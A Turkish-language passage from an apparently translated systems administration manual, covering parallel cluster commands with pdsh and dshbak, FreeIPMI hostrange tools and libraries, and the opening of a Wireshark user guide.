4 ile 2000 düğümden oluşan kümelerde Lawrence Livermore National<br />
Laboratory (LLNL) çalışmalarında yöntem faydalı hale getirildi.<br />
Kümelerde çalıştırılan komutlar saniyeler içinde oldu. Ve bir kabut<br />
sorgusu içinde seri (sıralanmış) komutlar olarak çalıştı.<br />
Burada bir pdsh örneği ele alınmıştır:<br />
> pdsh -w “wopr[0-5]” hostname<br />
wopr0: wopr0<br />
wopr1: wopr1<br />
wopr2: wopr2<br />
wopr3: wopr3<br />
wopr5: wopr5<br />
wopr4: wopr4<br />
Sizin kümenizdeki her düğümün host adının belirlenmesi çok ilginç<br />
değildir. Ama sizin kümenizdekilerin aynı kernel ile çalıştırıldığını<br />
bilmek istemeniz anlamlıdır.<br />
> pdsh -w “wopr[0-5]” uname -r<br />
wopr1: 2.6.9-65
wopr0: 2.6.9-65<br />
wopr5: 2.6.9-65<br />
wopr2: 2.6.9-65<br />
wopr4: 2.6.9-65<br />
wopr3: 2.6.9-65<br />
Ama büyük ağlarda bu tür çıktı çok uzun olur. Özellikle komut her<br />
düğüm için birden çok satır üretirse çıktı boyu uzar da uzar. Örneğin<br />
bri ayar dosyasının tüm düğümlerde doğru olup olmadığını öğrenmek<br />
istesem:<br />
>pdsh -w “wopr[0-5]” “cat /tmp/pretend_config”<br />
wopr1: foo=/usr<br />
wopr1: bar=/tmp<br />
wopr1: baz=/etc<br />
wopr1: xyzzy=static<br />
wopr1:<br />
wopr0: foo=/usr<br />
wopr0: bar=/tmp<br />
wopr0: baz=/etc<br />
wopr0: xyzzy=static<br />
wopr0:<br />
wopr2: foo=/usr<br />
wopr2: bar=/tmp<br />
wopr2: baz=/etc<br />
wopr2: xyzzy=dynamic<br />
wopr2:<br />
wopr4: foo=/usr<br />
wopr4: bar=/tmp<br />
wopr4: baz=/etc<br />
wopr4: xyzzy=static<br />
wopr4:<br />
wopr5: foo=/usr<br />
wopr5: bar=/tmp<br />
wopr5: baz=/etc<br />
wopr5: xyzzy=static<br />
wopr5:<br />
wopr3: foo=/usr<br />
wopr3: bar=/tmp<br />
wopr3: baz=/etc<br />
wopr3: xyzzy=static<br />
wopr3:<br />
Bu yöntem çok zor anlaşılır olmaya başlar. Ama komutu aşağıdaki gibi<br />
yazarsak:<br />
>pdsh -w “wopr[0-5]” “cat /tmp/pretend_config” | dshbak<br />
----------------<br />
wopr1<br />
----------------<br />
foo=/usr<br />
bar=/tmp<br />
baz=/etc<br />
xyzzy=static
----------------<br />
wopr3<br />
----------------<br />
foo=/usr<br />
bar=/tmp<br />
baz=/etc<br />
xyzzy=static<br />
<br />
Bu daha düzgün okunabilecek bir çıktıdır. Ama çıktı satır sayısı<br />
çoğaldıkça çıktının ele alınması zorlaşır. Dshbak programı daha<br />
kısaltılmış çıktı verebilir:<br />
> pdsh -w “wopr[0-5]” “cat /tmp/pretend config” | dshbak -c<br />
----------------<br />
wopr[0-1,3-5]<br />
----------------<br />
foo=/usr<br />
bar=/tmp<br />
baz=/etc<br />
xyzzy=static<br />
----------------<br />
wopr2<br />
----------------<br />
foo=/usr<br />
bar=/tmp<br />
baz=/etc<br />
xyzzy=dynamic<br />
Bu çok daha iyi bir çıktıdır. Burada anlaşıldığına göre düğümlerden<br />
birinin ayarları farklıdır.<br />
Bu tür kümelerde en önemli sorunlardan biri düğümlerden biri<br />
kümeden çıkarılabilir. Bu nedenle pdsh gibi araçlar çıkarılan<br />
düğümlerde zaman aşımına uğrayınca dek beklerler.<br />
Örnekte wopr6 devre dışında kalmıştır.<br />
> pdsh -w “wopr[0-6]” hostname<br />
wopr0: wopr0<br />
wopr1: wopr1<br />
wopr4: wopr4<br />
wopr2: wopr2<br />
wopr5: wopr5<br />
wopr3: wopr3<br />
pdsh@wopri: wopr6: mcmd: connect failed: No route to host<br />
real<br />
user<br />
sys<br />
0m3.007s<br />
0m0.003s<br />
0m0.007s
Ama sizin sıradan kullanıcılarınız wopr6 düğümünün devre dışı<br />
olduğunu bilmeyebilir. Ya da listeden sorunlu düğümleri çıkartmakla<br />
uğraşmak istemeyebilir.<br />
whatsup ve libnodeupdown kitaplığı ile belirlenen Düğümlerden devre<br />
dışı kalanları pdsh parametrelerinden -v ile işlem dışına alabiliriz<br />
(bakınız http://whatsup.sourceforge.net).<br />
>whatsup<br />
up: 7: wopr[0-5], wopri<br />
down: 1: wopr6<br />
Bu işlemden sonra -v ile çalıştırılan pdsh wopr6 düğümünü otomatik<br />
olarak devre dışına alır.<br />
> time pdsh -v -w “wopr[0-6]” hostname<br />
wopr1: wopr1<br />
wopr0: wopr0<br />
wopr2: wopr2<br />
wopr5: wopr5<br />
wopr4: wopr4<br />
wopr3: wopr3<br />
real<br />
user<br />
sys<br />
0m0.034s<br />
0m0.005s<br />
0m0.012s<br />
Bu örnekte zaman değişimi çok farklı olmayabilir. Ama bir kümede yer<br />
alan devre dışı düğümler çoksa, zaman farkını gözlemlemek kolay olur.<br />
FreeIPMI'de Sunucu Aralığı (Hostrange) Giriş/Çıkışı<br />
Sunucu aralığı giriş/çıkışının çoğu FreeIPMI araçlarından pdsh<br />
kullanılarak ele alınır. Ama pdsh karşı tarafta da bir kabuk programın<br />
çalışmasını gerekli kılar. Bu işlem kümedeki çalışan işlerin CPU'larını<br />
durdurabilir ve IPMI'in LAN üzerindeki CPU'yu kesememe yararını<br />
ortadan kaldırır.<br />
Sunucu Aralığı (hostrange) desteği bir çok FreeIPMI araçlarına<br />
eklenmiştir. Birden çok düğüm komut satırından pdsh sunucu aralığı<br />
kalıbına uygun bir biçimde belirtilebilir. Thread sayısı “fanout” -F<br />
seçeneği ile arttırılır ya da eksiltilir.<br />
Araçların pdsh ile aynı işlevsellikleri vardır. Ama IPMI iletişiminin tümü<br />
bant dışında yapılır. Ipmipower sunucu aralığını 0.1.0 sürümünden beri<br />
desteklemektedir. Başka araçlarla uyumlu olması için çıktıları ve<br />
seçenekleri değiştirilmiştir.<br />
Test kümesinde, “pwopr” sunucu adları “wopr” yerine “hostnames”<br />
biçiminde kullanılmıştır. Bizim aynı zamanda kendi kullanıcı adımızı<br />
(username) ve şifreyi XXXed out olarak kullanırız.
Örneğin:<br />
> ipmi-sensors -h "pwopr[0-5]" -u XXX -p YYY --record-ids=10<br />
pwopr0: 10 | CPU3 Vcore | Voltage | 1.31 | V | 'OK'<br />
pwopr5: 10 | CPU3 Vcore | Voltage | 1.25 | V | 'OK'<br />
pwopr1: 10 | CPU3 Vcore | Voltage | 1.23 | V | 'OK'<br />
pwopr3: 10 | CPU3 Vcore | Voltage | 1.26 | V | 'OK'<br />
pwopr2: 10 | CPU3 Vcore | Voltage | 1.32 | V | 'OK'<br />
pwopr4: 10 | CPU3 Vcore | Voltage | 1.26 | V | 'OK'<br />
dshback işlevselliği -B (tamponlaşmış= ve -c (birleştirilmiş)<br />
seçenekleriyle kullanılır.<br />
> bmc-info -h "pwopr[0-5]" -u XXX -p YYY --get-device-id -B<br />
----------------<br />
pwopr5<br />
----------------<br />
Device ID : 34<br />
Device Revision : 1<br />
Device SDRs<br />
: unsupported (desteklenmez)<br />
Firmware Revision : 1.0c<br />
Device Available : yes (normal operation)<br />
IPMI Version : 2.0<br />
Sensor Device<br />
: supported (desteklenir)<br />
SDR Repository Device : supported (desteklenir)<br />
SEL Device<br />
: supported (desteklenir)<br />
FRU Inventory Device : supported (desteklenir)<br />
IPMB Event Receiver : unsupported (desteklenmez)<br />
IPMB Event Generator : unsupported (desteklenmez)<br />
Bridge<br />
: unsupported (desteklenmez)<br />
Chassis Device : supported (desteklenir)<br />
Manufacturer ID : Peppercon AG (10437)<br />
Product ID : 4<br />
Auxiliary Firmware Revision Information : 38420000h<br />
<br />
> bmc-info -h "pwopr[0-5]" -u XXX -p YYY --get-device-id -C<br />
----------------<br />
pwopr[0-1,5]<br />
----------------<br />
Device ID : 34<br />
Device Revision : 1<br />
Device SDRs<br />
: unsupported<br />
Firmware Revision : 1.0c<br />
Device Available : yes (normal operation)<br />
IPMI Version : 2.0<br />
Sensor Device<br />
: supported<br />
SDR Repository Device : supported<br />
SEL Device<br />
: supported<br />
FRU Inventory Device : supported<br />
IPMB Event Receiver : unsupported<br />
IPMB Event Generator : unsupported<br />
Bridge<br />
: unsupported<br />
Chassis Device : supported<br />
Manufacturer ID : Peppercon AG (10437)<br />
Product ID : 4
Auxiliary Firmware Revision Information : 38420000h<br />
<br />
Eğer sisteminize pdsh kurmuşsanız, o zaman -B ve -C seçenekleri<br />
yerine dshbak kullanabilirsiniz. Bir çok kullanıcı pdsh kurmadığı için -B<br />
ve -C seçenekleri vardır.<br />
Whatsup benzeri araçlar ve kitaplıklar ipmidetect adıyla geliştirilmiştir.<br />
Aynı whatsup işlevleriyle çalışır. Ama IPMI düğümü var mı diye bakar.<br />
Böylece daha hızlı hostrange çıktısı alınır. Bu araç ipmidetectd arka<br />
plan programının ayarlanıp çalışır durumda olmasını bekler.<br />
İpmidetectd normalde ipmiping ile uzaktaki sunucuları tarar.<br />
İpmidetect aracı ve kitaplığı belirlenen ve belirlenemeyen ipmi<br />
sistemlerini inceler.<br />
> /usr/sbin/ipmidetect<br />
detected: 6: pwopr[0-5]<br />
undetected: 1: pwopr6<br />
örneğin, çalışmayan 'pwopr6' süğmesini hostrange içine alalım:<br />
> time ipmi-sensors -h "pwopr[0-6]" -u XXX -p YYY --record-ids=10<br />
pwopr5: 10 | CPU3 Vcore | Voltage | 1.25 | V | 'OK'<br />
pwopr4: 10 | CPU3 Vcore | Voltage | 1.26 | V | 'OK'<br />
pwopr0: 10 | CPU3 Vcore | Voltage | 1.31 | V | 'OK'<br />
pwopr3: 10 | CPU3 Vcore | Voltage | 1.26 | V | 'OK'<br />
pwopr2: 10 | CPU3 Vcore | Voltage | 1.32 | V | 'OK'<br />
pwopr1: 10 | CPU3 Vcore | Voltage | 1.23 | V | 'OK'<br />
pwopr6: ipmi_ctx_open_outofband(): Connection timed out<br />
real 0m25.000s<br />
user 0m0.029s<br />
sys 0m0.003s<br />
-E seçeneğiyle çalışan (ve ipmidetectd ayarlanmış ve çalışan) bir<br />
ortamda -E seçeneği çalışmayan pwopr6 düğümünü atlar.<br />
> time ipmi-sensors -h "pwopr[0-6]" -u XXX -p YYY --record-ids=10 -E<br />
pwopr0: 10 | CPU3 Vcore | Voltage | 1.31 | V | 'OK'<br />
pwopr2: 10 | CPU3 Vcore | Voltage | 1.32 | V | 'OK'<br />
pwopr1: 10 | CPU3 Vcore | Voltage | 1.23 | V | 'OK'<br />
pwopr4: 10 | CPU3 Vcore | Voltage | 1.26 | V | 'OK'<br />
pwopr5: 10 | CPU3 Vcore | Voltage | 1.25 | V | 'OK'<br />
pwopr3: 10 | CPU3 Vcore | Voltage | 1.26 | V | 'OK'<br />
real<br />
user<br />
sys<br />
0m0.113s<br />
0m0.030s<br />
0m0.003s<br />
Bunun komutun çalışması ve bitişindeki zaman kaybını izlemekte yarar<br />
vardır.
FreeIPMI'da öngörülen sunucu aralığı (hostrange)<br />
pdsh'den farklı olarak, rastgele bir kabuk komutu çalıştırabilirsiniz. Her<br />
FreeIPMI aracı göreceli değişmez çıktısı vardır ya da çalıştırabileceğiniz<br />
çıktı kümeleri vardır.<br />
Çalıştırılan özeliklere ya da komutların çıktılarına dayanarak, sunucu<br />
aralığı giriş/çıkışı farklı kullanılacaktır. Aşağıdakiler bazı önerilerdir.<br />
Bunlar en sık kullanılan sunucu aralığı giriş/çıkışlarıdır.<br />
İpmi-sensors:<br />
Kümedeki her düğümün biraz farklı ısıları vardır. Bu nedenle<br />
ipmi-sensors programını -q seçeneğiyle çalıştırarak çıktıları<br />
özetlemek isteyebilirsiniz.<br />
> ipmi-sensors -h "pwopr[0-6]" -u XXX -p YYY -g temperature -E -C<br />
-q<br />
----------------<br />
pwopr[0-2,4-5]<br />
----------------<br />
4 | CPU1 Temp | Temperature | 'OK'<br />
5 | CPU2 Temp | Temperature | 'OK'<br />
6 | CPU3 Temp | Temperature | 'OK'<br />
7 | CPU4 Temp | Temperature | 'OK'<br />
8 | Sys Temp | Temperature | 'OK'<br />
----------------<br />
pwopr3<br />
----------------<br />
4 | CPU1 Temp | Temperature | 'OK'<br />
5 | CPU2 Temp | Temperature | 'OK'<br />
6 | CPU3 Temp | Temperature | 'OK'<br />
7 | CPU4 Temp | Temperature | 'OK'<br />
8 | Sys Temp | Temperature | 'At or Below (
İpmi-sel:<br />
Her düğümün değişik ipmi-sel çıktısı olacaktır ve bunun boyutları<br />
da çoktur. Bu nedenle tamponlanmış ya da kısaltılmış özlü çıktı<br />
pek kullanışlı olmayabilir. Sunucu aralığı girişi SEl çıktılarını<br />
toplamak için en kullanışlı olanıdır. Tüm kümedeki<br />
sunucular/düğümler hakkında hızlı ve bant dışı bilgi alınabilir.<br />
Bazı hatalar için “grep” kullanılabilir. Ya da log izleme<br />
programına “pipe” (boru) ile aktarılabilir.<br />
Sunucu aralığı işlevi SEL Loglarını hızla temizlemek için çok<br />
kullanışlıdır.<br />
“--no-header-output” seçeneği bir çok düğümde çıktıyı azaltmak<br />
için kullanılabilir. “--sdr-cache-recreate” seçeneği hataları<br />
güzelce ele almak için kullanışlı olabilir.<br />
Kullanıcılar “--output-event-state” seçeneğini ipmi-sel ile<br />
kullanmak isteyebilirler. Böylece o anki sensör durumlarını da<br />
görebilirler. Bu seçenek NORMAL, UYARI ve KRITİK durumları<br />
gösterir.<br />
Bmc-info:<br />
Sunucu aralığı kullanılırken, büyük bir olasılıkla kümenizdeki<br />
BMC'nin firmware ya da donanım tipini doğrulamak istersiniz.<br />
Büyük bir olasılıkla bmc-info programını özet çıktı için -C<br />
seçeneğiyle çalıştırmak istersiniz. Sistem GUID'leri sistemler<br />
arasında da farklıdır. Bu nedenle değişik çıktıları sınırlandırmak<br />
için “--get-device-id” seçeneğiyle çalıştırmak istersiniz.<br />
İpmi-raw:<br />
ipmi-raw çıktısı en çok bir satır olabilir. Özlü çıktı ise en çok<br />
istenen ve kullanılan biçimidir.<br />
bmc-config/ipmi-chassis-config/ipmi-pef-config/ipmi-sensors-config:<br />
Bu ayar araçlarınıntipik kullanımı “--checkout” seçeneği ile<br />
çalıştırarak ayarları denemiş olur. Ayar değişikliklerini dosyaya<br />
yazmak için “--commit” seçeneği ile çalıştırılır. Öyle sanılır ki bir<br />
çok kullanıcı bunu yalnız sunucu aralığı desteğiyle ve “--commit”<br />
seçeneğiyle kullanarak birden çok sunucuyu aynı anda ayarlamış<br />
olur. Bant-dışı bağlantıdan önce bant içi ayar dosyası işlemleri<br />
çok olacaktır (IP ve MAC adreslerinin ayarlanması gibi). Bir çoğu<br />
sunucuyu bant dışına alıp ayar bile yapmak istemeyecektir. “--<br />
diff” seçeneği birçok makine arasında kullanılabilir. Bu makineler<br />
arasında ayar değişikliği olup olmadığı izlenmiş olur.<br />
FreeIPMI içinde sunucu aralığı desteği ayrıcalıkları
Ek Notlar<br />
Bazı koşullarda sunucu aralığı giriş/çıkışı desteklenmez.<br />
- Bir kümedeki her BMC değişik IP ve MAC adresiyle ayarlanır. Bu<br />
durumda paralel çalışma yapılamaz.<br />
- Ipmi-power bmc-info'dan değişik bir mimari ile yazılmıştır. Amacı<br />
Powerman ile iletişimde olmak olduğundan paralele işlemlerde<br />
kullanılamaz.<br />
[1] Neden FreeIPMI doğrudan “whatsup” kullanmaz? Whatsup işletim<br />
sistemi “up” ve sağlıklı çalışıyor demektir. IPMI işletim sistemi<br />
çalışmadan da işlem yapabilir. Hatta düğüm “power off” olsa bile. Bu<br />
nedenle alternatif bir ürün gerekmiştir.<br />
FreeIPMI Kitaplıkları<br />
Albert Chu<br />
chu11@llnl<br />
FreeIPMI ile kullanılabilecek kitaplıklar ve program arayüzleri (API) aşağıda<br />
kısaca anlatılmıştır.<br />
Libfreeipmi<br />
Libfreeipmi ilkcil bir kitaplıktır. Bir çok Freeipmi aracı bu kitaplığa<br />
dayanır. Aşağıdakiler kitaplığın alt bölümlerini oluşturur.<br />
Api<br />
Libfreeipmi tarafından sağlanan en yüksek düzey arayüzdür<br />
(API). Kullanıcıdan bant içi ve bant dışı protokollerin ayrıntılarını<br />
soyutlar. Kullanıcıya kullanışlı hata kodları sağlar. Bu hata kodları<br />
IPMI işlemlerini anlamaya ve yorumlamaya yarar. Pek çok<br />
FreeIPMI aracı ve kitaplığı tarafından “api” kullanılır. Örneğin<br />
bmc-info, ipmi-sensors ve libipmimonitoring...<br />
cmds<br />
fiid şablonları ve “fill” işlevleri için IPMI komutlarıdır. IPMI<br />
komutlarının ortak parametreleri için tanımlanan makroları da<br />
sağlar. Libfreeipmi'nin diğer parçalarının çoğunda “cmds”<br />
kullanılır. İpmipower ve ipmiconsole gibi araçlarca da kullanılır.<br />
Debug<br />
paket/kayıt dump (dökmek) için gereken işlevleri sağlar. Daha<br />
çok “api” alt bölümü tarafından kullanılır. İpmipower ve<br />
ipmiconsole bunları kullanan araçlardır.
Driver<br />
IPMI iletişimi için gereken arayüzleri (API) sağlar. Şu anda<br />
desteklenen sürücüler KCS, SSIF, OpenIPMI ve sunbmc'dir. Bmcwatchdog<br />
gibi araçlar tarafından kullanılır.<br />
Fiid<br />
FreeIPMI arayüz tanımı libfreeipmi'de bulunan paketleri<br />
hazırlanması ve açılması işlerinde kullanılan arayüzler sağlar.<br />
Arayüz (API) fiid şablonlarını kullanır. Bunlar da fiid-object<br />
(nesne) yaratmakta kullanılır. Fiid-şablonları paketleri dizi<br />
adından tanımlar ve alanların bit haritası vardır. Arayüz<br />
kullanıcıların alanları okuma/yazma işlemlerini alan bitleriyle<br />
çözümler. Marshalling, paketleme, endian ve diğer ağ işlemleri<br />
“fiid” ile ele alınır. Fiid nesneleri libfreeipmi içinde ele alınır. “api”<br />
alt bölümü “cmds” alt bölümü ve diğer araçlar.<br />
Fru-parse<br />
Alan değiştirilebilen birim (field replacable unit FRU) için tarama<br />
arayüzü sağlar. İpmi-fru gibi araçlar tarafından kullanılır.<br />
İnterface<br />
bant içi ve bant dışı protokolleri için 'assemble' (monte etmek)<br />
ve 'disassemble' (demonte etmek) işlevlerini sağlar. Aynı<br />
zamanda tüm fiid şablonlarını sağlar. “fill” işlevleri ve diğer hazır<br />
işlemler IPMI iletişimi için gerekenlerin arayüzlerini sağlar. “api”<br />
alt bölüm tarafından kullanılır. İpmipower ve ipmiconsole<br />
araçlarınca da kullanılır.<br />
İnterpret<br />
sensor olaylarını Nominal, Uyarı ve Kritik konumlarına bölüp<br />
yorumlayan arayüzleri sağlar. FreeIPMI araçlarınca kullanılır.<br />
İpmi-sensors ve libipmimonitoring kullanan araçlarıdır.<br />
Locate<br />
Bant içi IPMI iletişimi için varsayılan değerleri bulmak için bir kaç<br />
standart sorgulama arayüzü sağlar. “api” alt bölümünü kullanır.<br />
İpmi-locate aracı tarafından kullanılır.<br />
Payload<br />
makrolar, fiid-şablonlar ve IPMI içinde kullanılan payload ların<br />
bilgilerini sağlar. İpmiconsole tarafından LAN üzerinden seri<br />
bağlantı biçiminde kullanılır.<br />
Record-format<br />
IPMI içinde kullanılan makrolar, fiid-şablonları ve kayıtlar üzerine<br />
bilgi sağlar. “sdr-cache” alt bölümünde kullanılır ve ipmi-sensors<br />
aracını kullanır.
Sdr-cache<br />
sensor veri deposundakileri yaratmak, kaşelemek, okumak ve<br />
taramak işlerini sağlar. İpmi-fru ve ipmi-sensors araçları<br />
tarafından kullanılır.<br />
Sdr-parse<br />
SDR kayıtlarını taramak için arayüz sağlar. İpmi-fru ve ipmisensors<br />
tarafından kullanılır.<br />
Sel-parse<br />
Sistem Olay Log'larını okuyup tarayacak arayüzü sağlar. İpmi-sel<br />
tarafından kullanılır.<br />
Sensor-read<br />
Sensorleri okumak için bir arayüz sağlar. İpmi-sensors tarafından<br />
kullanılır.<br />
Spec<br />
Util<br />
IPMI içindeki diğer tanımlar için makrolar ve diziler sağlar. İpmisensors<br />
tarafından kullanılır.<br />
anahtarlar, sensor okumaları gibi hazır işlevleri sağlar. FreeIPMI<br />
tarafından kullanılır.<br />
Libipmiconsole<br />
Yüksek düzeyde LAN üzerinden seri işlemler uyarlamasıdır.<br />
Uzaktan konsol erişimi sağlar. Birden çok IPMI 2.0 oturumu<br />
açılmasını sağlar. IPMI/SOL (Serial Over LAN) ilişkisini basit bir<br />
dosya tanımına indirgemiştir.<br />
Libipmimonitoring<br />
Yüksek düzel SEL ve sensor izleme arayüzü sağlar. Kulalnıcının<br />
sensor değerleri, gruplar, birimler ve durumlar konusunda<br />
tekrarlayan işlem yapması için arayüz sunar.<br />
Libipmidetect<br />
Bir küme içinde hangi düğümün IPMI destekleyip<br />
desteklemediğini belirleyen yüksek düzey arayüz sağlar. Bu<br />
kitaplık düğümlerin bakım için bir kümeden çıkarılmasını da<br />
algılar. Böylece IPMI gereksiz zaman aşımı beklemeleri yapmaz.<br />
Kitaplık ipmidetecd ile iletişimde çalışır.
Pkg-config desteği<br />
Tüm yukarıdaki kitaplıklar için FreeIPMI pkg-config desteği sunar.<br />
PKG_CHECK_MODULES(FREEIPMI, libfreeipmi,<br />
HAVE_LIBFREEIPMI="yes", HAVE_LIBFREEIPMI="no")<br />
Ya da doğrudan pkg-config çağrılır:<br />
CFLAGS += $(shell pkg_config –-cflag libfreeipmi)<br />
LIBS += $(shell pkg_config –-libs libfreeipmi)<br />
Daha geniş bilgi için:<br />
http://www.freedesktop.org/wiki/Software/pkg-config
Ek-6<br />
Wireshark<br />
Kullanıcı El Kitabı<br />
(User manual)<br />
Wireshark Nedir<br />
Wireshark ağ paket analiz programıdır. Ağ paket analiz programı ağ<br />
paketlerini saklar ve en ayrıntılı paket verileri görüntüsü sağlamaya çalışır.<br />
Ağ analiz programı ağda neler olduğunu ayrıntılarıyla anlatmaya çalışır.<br />
Eskiden bu araçlar ya çok pahalı ya da topluma açık değildi.<br />
Wireshark bu konuda açık kaynak kod olarak en kullanışlı olanlarından biridir.<br />
Bazı maksatlı amaçları<br />
Kullanıcıar wireshark aşağıdaki nedenlerden kullanıyorlar:<br />
. Ağ yöneticiler ağdaki sorunları bulmak için kullanrlar.<br />
. Ağ güvenliği güvenlik sorunları için kullanır<br />
. Program geliştiriciler protokol hatalarını gidermek için kullanırlar.<br />
. İnsanlar ağ protokol aralıklarını anlamak için kullanır/izlerler.<br />
Özellikleri<br />
Hem UNIX hem de Windows altında kullanılabilir.<br />
Ağ arayüzünden canlı paketleri yakalayabilir.<br />
Tcpdump/windump ve Wireshark programlarından yakalanan veriler<br />
dosyalarda saklanabilir.<br />
Paket verilerinin onaltılı dump'larından paket bilgilerini dıştan alır<br />
(import).<br />
Çok ayrıntılı protokol bilgileriyle paketleri görüntüle.<br />
Yakalanan paket verilerini sakla.<br />
Yakalanan paketleri bir çok dosya kalıplarına göre dışa ver.<br />
Bir çok kritere göre paketleri filitrele.<br />
Bir çok kritere göre paketleri ara.<br />
Filitrelere göre görüntülenen paketleri renklendir.
Çeşitli istatistikler yarat.<br />
Birçok ağ ortamından canlı veri yakalama<br />
Wireshark ağ ortamlarının pek çoğundan tarif verilerini yakalayabilir.<br />
Buna kablosuz ağ bağlantıları da dahildir. Desteklene ağ iletişim<br />
ortamları hakkında ayrıntılı bilgi<br />
http://wiki.wireshark.org/CaptureSetup/NetworkMedia adresinden<br />
sağlanır.<br />
Başka programların yakaladığı verileri dıştan al.t<br />
Başka programların yakaladığı verileri wireshark dıştan alabilir. Ayrıntılı<br />
bilgiler için:<br />
http://www.wireshark.org/docs/wsug_html_chunked/ChIOOpenSection.<br />
html#ChIOInputFormatsSection<br />
adresine bakabilirsiniz.<br />
Başka programlara yakalanan verileri dışa verir.<br />
Başka programlara yakaladığı verileri aktarabilir. Bu programların<br />
ayrıntılı listesi için “Çıktı Dosyaları kalıpları” hakkında ayrıntılı bilgi<br />
alınabilir<br />
http://www.wireshark.org/docs/wsug_html_chunked/ChIOSaveSection.html#ChIOOutp<br />
utFormatsSection.<br />
Birçok protokol çözümleyici<br />
Protokol çözümleyiciler vardır. Bunların listesi için<br />
http://www.wireshark.org/docs/wsug_html_chunked/AppProtocols.html adresine<br />
bakabilirsiniz..<br />
Açık Kaynak Yazılım<br />
Wireshark açık kaynaktır. GPL lisansıyla dağıtılır. Serbestçe<br />
kullanılabilir.<br />
Wireshark ne değildir<br />
Sızmaları yakalayan bir sistem değildir. Biri tuhaf şeyler yaparsa sizi<br />
uyaramaz. Ama tuhaf şeyler oluyorsa size ne olduğunu söyleyebilir.<br />
Ağ üzerindekileri değiştiremez. Yalnız ağ üzerindekileri ölçebilir.
Sistem Gereksinimi<br />
Wireshark çalışır olması için nelere gerek vardır?<br />
Genel Konular<br />
Aşağıdaki değerler en az gerekenlerdir.<br />
Yoğun bir ağ trafiğinde yüksek disk ve bellek kapasitesi gerektirir.<br />
Örneğin 100MBits/san Ethernet yaklaşık 750MBayt/dak. bilgi üretir. BU<br />
nedenle hız bir işlemci, yüksek bellek ve disk kapasitesi iyi bir<br />
başlangıçtır.<br />
Eğer Wireshark için bellek yetmezse kırılır<br />
http://wiki.wireshark.org/KnownBugs/OutOfMemory ve çalışması durur.<br />
Çok işlemcili ve çoklu thread işletim sistemleri Wireshark için çok<br />
önemli ve avantajlı değildir. Çünkü paket filitreleme işlemi tek thread<br />
ile çalışır. Ama kural paket listelerinin gerçek zamanlı işlenmesidir.<br />
Genelde yakalama işlemleri bir işlem zamanında yürütülürken<br />
görüntüleme başka bir işlemle yürütülür. Yani iki işlemcili bir sistem<br />
Wireshark için yeterlidir.<br />
Micrsoft Windows<br />
Windows XP Home, XP Pro, XP Tablet PC, XP Media Center, Server<br />
2003, Vista 2008, 7 ya da 2008 R2<br />
Modern 32-bit x86 ya da 64-bit AMD64/x86-64 işlemcilerler herhangi<br />
biri<br />
128MB kullanılabilir bellek. Daha büyk yakalama dosyaları için daha<br />
çok bellek gerekebilir.<br />
75MB kullanılabilir disk kapasitesi. Yakalanan dosyalar için ek alan<br />
gerekebilir.<br />
800x600 (1280x1034 ya da daha yüksek) çözünürlük ve 16 bit renk<br />
seçeneği Wireshark için yeterlidir (Eski GTK1 ve 1.0.x sürümler<br />
kullanılmışsa).<br />
Yakalamak için desteklenen ağ kartı.<br />
Windows'un desteklediği ethernet kartı çalışır.<br />
802.11 ham verilerini ek bir donanım olmadan yakalamak zor<br />
olabilir. Wireshark wiki sayfasına bakın<br />
http://wiki.wireshark.org/CaptureSetup/WLAN#head-<br />
02456742c655394c9e948a4c9a59d3441c92782f<br />
Diğer ortamlar<br />
http://wiki.wireshark.org/CaptureSetup/NetworkMedia adresinde<br />
vardır.
Görüşler<br />
Bir çok eski Windows sürümleri artık desteklenmemektedir. Bu<br />
sistemleri artık geliştiriciler kullanmamaktadır. Wireshark WinPcap,<br />
GTK kitaplıklarına dayanır ve bu kitaplıkların eski sürüm destekleri<br />
yoktur.<br />
Windows 95, 98 ve ME artık desteklenmemektedir. Eski Windows<br />
sürümlerinde bellek koruması yoktur. Halbuki bu program güvenliği<br />
için kullanılıyordur.<br />
Wireshark Windows NT 4.0 ile de çalışmaz.<br />
Windows 2000 Wireshark ile çalışmaz.<br />
Windows CE ve adlandırılmayan diğer sürümlerde Wireshark çalışmaz..<br />
Çoklu monitör desteği vardır ama biraz tuhaf çalışmaktadır.<br />
Unix/Linux<br />
Wireshark şu anda bir çok Unix ortamında çalışmaktadır. Sistem<br />
gereksinimi yukarıdaki Windows kapasileri düzeyindedir.<br />
İkili program paketleri:<br />
Apple Mac OS/X<br />
Debian GNU/Linux<br />
FreeBSD<br />
Gentoo Linux<br />
HP-UX<br />
Mandriva Linux<br />
NetBSD<br />
OpenPKG<br />
Red Hat Enterprise/Fedora Linux<br />
rPath Linux<br />
Sun Solaris/i386<br />
Sun Solaris/Sparc<br />
Canonical Ubuntu<br />
Eğer sistem için ikili paket yoksa kaynak kodlar indirilip kurabilirsiniz.<br />
Wireshark nereden sağlanır<br />
Son kopyayı http://www.wireshark.org/download.html adresinden<br />
sağlayabilirsiniz.
Her dört ya da sekiz ayda yeni bir kopya üretilmektedir.<br />
KULLANICI ARAYÜZÜ<br />
GİRİŞ<br />
Şimdiye dek Wireshark kurulmuş ve veri yakalama hazır durumdadır.<br />
Burada Wireshark kullanıcı arayüzü nasıl çalışır<br />
Wireshark paketleri nasıl yakalar<br />
Paketler nasıl görüntülenir.<br />
Wireshark paketleri nasıl filitreler<br />
Ve birçok ufak tefek diğer işlemer<br />
Wireshark Başlatma<br />
Wireshark kabuk programdan ya da window yönetiminden başlatılır.<br />
Wireshark komut satırından başlatılırken seçenekleri belirtmek olanağı<br />
vardır.<br />
İlerideki bölümlerde bir çok ekran görüntüsü yer alabilir. Bir çok<br />
değişik ortamda çalıştığından burada görüntülenen resimler sizinkilere<br />
benzemeyebilir. Ama işlevsel açıdan bir fark yoktur.<br />
Ana Pencere
Wireshark ana penceresi diğer programlardan da bilinen bazı ortak<br />
alanlar bulundurur. Bunlar:<br />
Menü<br />
Ana araç çubuğu<br />
Ana menüden sık kullanılan seçeneklere kolay erişim için<br />
kullanılır.<br />
Filitre Araç Çubuğu<br />
Görüntüleme filitrelerine doğrudan erişmek ve değiştirmek<br />
için kullanılır.<br />
Paket Liste panosu<br />
Yakalanan her paketin özetini görüntüler. İlgili satıra<br />
tıklanarak diğer iki panoda nelerin görüntüleneceğine<br />
karar verirsiniz.<br />
Paket Ayrıntı Panosu<br />
Seçilen paketin ayrıntılı bilgisini görüntüler.<br />
Paket Bayt Panosu<br />
Paket Liste panosundan seçilen paketin paket ayrıntıları<br />
panosundaki seçilen alanının baytlarını gösterir.
Durum Satırı<br />
O anki program durumu hakkında kısa ama ayrıntılı bilgi<br />
verir.<br />
Özellikler seçeneği ile ana pencerede görüntülenenleri değiştirme<br />
